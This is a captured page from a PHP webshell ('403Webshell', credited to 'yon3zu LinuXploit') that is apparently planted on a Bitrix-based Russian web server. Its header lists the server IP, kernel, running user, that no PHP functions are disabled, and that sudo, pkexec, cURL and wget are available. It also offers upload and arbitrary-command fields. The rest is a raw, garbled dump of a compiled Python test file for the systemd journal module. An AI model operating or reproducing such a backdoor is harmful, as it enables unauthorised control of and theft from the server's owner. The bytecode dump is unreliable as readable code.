403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/systemd/test/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/systemd/test/__pycache__/test_journal.cpython-39.pyc
a

��X]'�@s�ddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z
ddlmZm
Z
ddlmZddlZe�d�Ze�d�ZGdd�d�Zejd	d
��Zejdd��Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z dd �Z!d!d"�Z"d#d$�Z#d%d&�Z$d'd(�Z%d)d*�Z&d+d,�Z'd-d.�Z(d/d0�Z)d1d2�Z*d3d4�Z+d5d6�Z,d7d8�Z-d9d:�Z.d;d<�Z/d=d>�Z0d?d@�Z1dAdB�Z2dS)C�)�print_functionN)�journal�id128��
_make_lineZ 8441372f8dca4ca98694a6091fd8519fZ 8441370000000000000000001fd85000c@seZdZdd�Zddd�ZdS)�
MockSendercCs
g|_dS�N)�buf)�self�r�?/usr/lib64/python3.9/site-packages/systemd/test/test_journal.py�__init__szMockSender.__init__Nc	Ks�d|g}|dur,t|d|�}|�d|�||urJ|urJdurlnntjdd�ddd�\}}}|dur�|�d|�|dur�|�d	�|��|dur�|�d
|�|�dd�|��D��|j�|�dS)
NzMESSAGE=�hex�MESSAGE_ID=�)�limitr�z
CODE_FILE=zCODE_LINE={:d}z
CODE_FUNC=css|]\}}t||�VqdSrr)�.0�key�valrrr�	<genexpr>)�z"MockSender.send.<locals>.<genexpr>)�getattr�append�
_traceback�
extract_stack�format�extend�itemsr	)	r
ZMESSAGE�
MESSAGE_IDZ	CODE_FILEZ	CODE_LINEZ	CODE_FUNC�kwargs�args�idrrr�sends
"zMockSender.send)NNNN)�__name__�
__module__�__qualname__r
r#rrrrrs�rc
csLz
dVWn<ttfyF}z |j|kr0t���WYd}~n
d}~00dSr)�OSError�IOError�errno�pytest�skip)�code�errr�skip_oserror,s

r.ccs*z
dVWnty$t��Yn0dSr)�
ValueErrorr*r+rrrr�skip_valueerror5s
r0cCs|tjj}|tj�tjksJ�|tj�tjks0J�|tjd�tjksHJ�|tjd�tjks`J�|tjd�tjksxJ�|tj�tjks�J�|tjd�tj	ks�J�|tj
d�tj	ks�J�|tj
�tj	ks�J�|tj
d�tjks�J�|tjd�tjk�sJ�|tj�tjk�sJ�|tjd�tj
k�s2J�|tj�tj
k�sHJ�|tj�tj
k�s^J�|tjd�tjk�sxJ�dS)N�)r�JournalHandlerZmap_priority�loggingZNOTSETZ	LOG_DEBUG�DEBUGZLOG_INFO�INFOZLOG_WARNINGZWARNZLOG_ERRZERRORZLOG_CRITZFATALZCRITICALZ	LOG_ALERT)�prrr�test_priorities<s"r7cCsFddi}t�t�� tjfi|��Wd�n1s80YdS)Nz X  r)r*�raisesr/rr2��kwrrr�"test_journalhandler_init_exceptionQsr;cCs"ddd�}tjtjfi|��dS)Nr�)�X�X3)rr2r3r5r9rrr�test_journalhandler_initVs
r?c	Cs�t�dtjddddd�}t�}dd|jd�}tjtjfi|��}|�|�t|j	�dks\J�d|j	d	vsnJ�d
|j	d	vs�J�dS)N�test-logger�testpathr1�testrr<)r=r>�sender_functionzX=3rzX3=4)
r3�	LogRecordr5rr#rr2�emit�lenr	)�record�senderr:�handlerrrr�test_journalhandler_infoZs
rJc	Cslt�dtjddddd�}t�}tjtj|jd�}|�|�t|j	�dksLJ�t
dd�|j	dD��shJ�dS)	Nr@rAr1rB)rCcss|]}|�d�VqdS)rN)�
startswith)r�mrrrrkrz4test_journalhandler_no_message_id.<locals>.<genexpr>r)r3rDr5rrr2r#rErFr	�all�rGrHrIrrr�!test_journalhandler_no_message_ides
rOc	Csjt�dtjddddd�}t�}tjtj|jtd�}|�|�t	|j
�dksNJ�dtj|j
dvsfJ�dS�Nr@rAr1rB�rCrrr)r3rDr5rrr2r#�TEST_MIDrErFr	rrNrrr�)test_journalhandler_message_id_on_handlerms�
rSc	Cslt�dtjddddd�}t�}tjtj|jtjd�}|�	|�t
|j�dksPJ�dtj|jdvshJ�dSrP)r3rDr5rrr2r#rRrrErFr	rNrrr�-test_journalhandler_message_id_on_handler_hexvs�
rTc	Cstt�dtjddddd�}t|jd<t�}tjtj|jt	d�}|�
|�t|j�dksXJ�dtj
|jdvspJ�dS�	Nr@rAr1rBrrQrr)r3rDr5�	TEST_MID2�__dict__rrr2r#rRrErFr	rrNrrr�)test_journalhandler_message_id_on_messages
�
rXc	Csvt�dtjddddd�}tj|jd<t�}tjtj|j	t
d�}|�|�t|j
�dksZJ�dtj|j
dvsrJ�dSrU)r3rDr5rVrrWrrr2r#rRrErFr	rNrrr�-test_journalhandler_message_id_on_message_hex�s�
rYcCsRt��}t�tj�}t�tj�}t�tj�}t�tjtjBtjB�}t�d�}dS)Nr)r�ReaderZ
LOCAL_ONLYZRUNTIME_ONLY�SYSTEM_ONLY)�j1�j2�j3Zj4Zj5Zj6rrr�test_reader_init_flags�sr_cCs�t�t��t�tj�Wd�n1s,0Yt��"tj|jtjd�}Wd�n1sd0Yt��(tj|jtjtjBd�}Wd�n1s�0Ytj|jtjtj	Bd�}dS)N)�path�flags)
r*r8r/rrZZOS_ROOTr0�strpath�CURRENT_USERr[)�tmpdirr\r]r^rrr�test_reader_os_root�s*�$
�$
�recCs>tj|jd�}tjd|jd�tj|jd�}tj|jd�dS)N�r`r)rrZrb)rdr\r]rrr�test_reader_init_path�srgcCs<t�t��tjddd�Wd�n1s.0YdS)Nr���rf�r*r8r'rrZrrrr� test_reader_init_path_invalid_fd�srjcCs<t�t��tjddd�Wd�n1s.0YdS)Nrrfrirrrr�%test_reader_init_path_nondirectory_fd�srkcCs�t�|jtj�}ttj��tj|d�}Wd�n1s<0Yt	|�gksVJ�t
�� tjtj|d�}Wd�n1s�0Yt	|�gks�J�tjtj|d�}t	|�gks�J�dS�Nrf)
�os�openrb�O_RDONLYr.r)�ENOSYSrrZ�listr0ZSYSTEMrc)rd�fdr\r]r^rrr�test_reader_init_path_fd�s*.rscCs|tj|jd�}|�|jrJ�Wd�n1s20Y|jsFJ�t�t��t|�Wd�n1sn0YdSrl)rrZrb�closedr*r8r'�next�rd�jrrr�test_reader_as_cm�s(
rxcCsPtj|jd�}|�*|�tj�|�tjj�Wd�n1sB0YdSrl)rrZrbZmessageid_matchrZSD_MESSAGE_JOURNAL_STARTZSD_MESSAGE_JOURNAL_STOPrrvrrr�test_reader_messageid_match�srycCsTtj|jd�}|�.|��|�t�|�tj�Wd�n1sF0YdSrl)rrZrbZ	this_bootrRrrvrrr�test_reader_this_boot�s

rzcCsTtj|jd�}|�.|��|�t�|�tj�Wd�n1sF0YdSrl)rrZrbZthis_machinerRrrvrrr�test_reader_this_machine�s

r{c	Cs�tj|jd�}|�Dttj��|�d�}Wd�n1s>0YWd�n1s\0Yt|t�stJ�|t�ks�J�dS)NrfZFOOBAR)	rrZrbr.r)rpZquery_unique�
isinstance�set�rdrwZansrrr�test_reader_query_unique�sFrc	Cs�tj|jd�}|�Bttj��|��}Wd�n1s<0YWd�n1sZ0Yt|t�srJ�|t�ks�J�dSrl)	rrZrbr.r)rpZenumerate_fieldsr|r}r~rrr�test_reader_enumerate_fields�sDr�c	Csttj|jd�}|�Bttj��|��}Wd�n1s<0YWd�n1sZ0Y|duspJ�dS�NrfF�rrZrbr.r)rpZhas_runtime_filesr~rrr�test_reader_has_runtime_files�s
Dr�c	Csttj|jd�}|�Bttj��|��}Wd�n1s<0YWd�n1sZ0Y|duspJ�dSr�r�r~rrr� test_reader_has_persistent_files�s
Dr�cCsPddd�i}tj|j|d�}|�dd�}|dks4J�|�dd�}|dksLJ�dS)	NZxxxcSsdS�N�yyyr��argrrr�<lambda>rz(test_reader_converters.<locals>.<lambda>�r`�
converters�abcr�Zzzz���)rrZrbZ_convert_field�rdr�rwrrrr�test_reader_converters�sr�cCs`dd�dd�d�}tj|j|d�}|�ddddgdd	gd
��}|ddddgdd	gd
�ks\J�dS)
NcSsdSr�rr�rrrr�
rz+test_reader_convert_entry.<locals>.<lambda>cSsdS)N�YYYrr�rrrr�r)�x1�x2r�r�r�sdefs��)r�Zy1r�Zy2r�r�)rrZrbZ_convert_entryr�rrr�test_reader_convert_entry	s���r�cCsFtj|jd�}t��}|�|�|�d�t�ddd�}|�|�dS)Nrfi90i��r<)rrZrb�timeZ
seek_realtime�datetime)rdrwZnowZlong_agorrr�test_seek_realtimes

r�cCsZttj��t�d�}Wd�n1s*0Y|�d�}|dvsJJ�td|d�dS)Nztest_journal.pyzmessage...
)�Nzprinted message...)�file)r.r)�ENOENTr�stream�write�print)r��resrrr�test_journal_stream"s
(
r�)3Z
__future__r�
contextlibr�r)r3rmr�Zuuid�	tracebackrZsystemdrrZsystemd.journalrr*ZUUIDrRrVr�contextmanagerr.r0r7r;r?rJrOrSrTrXrYr_rergrjrkrsrxryrzr{rr�r�r�r�r�r�r�rrrr�<module>sZ



		

	


Youez - 2016 - github.com/yon3zu
LinuXploit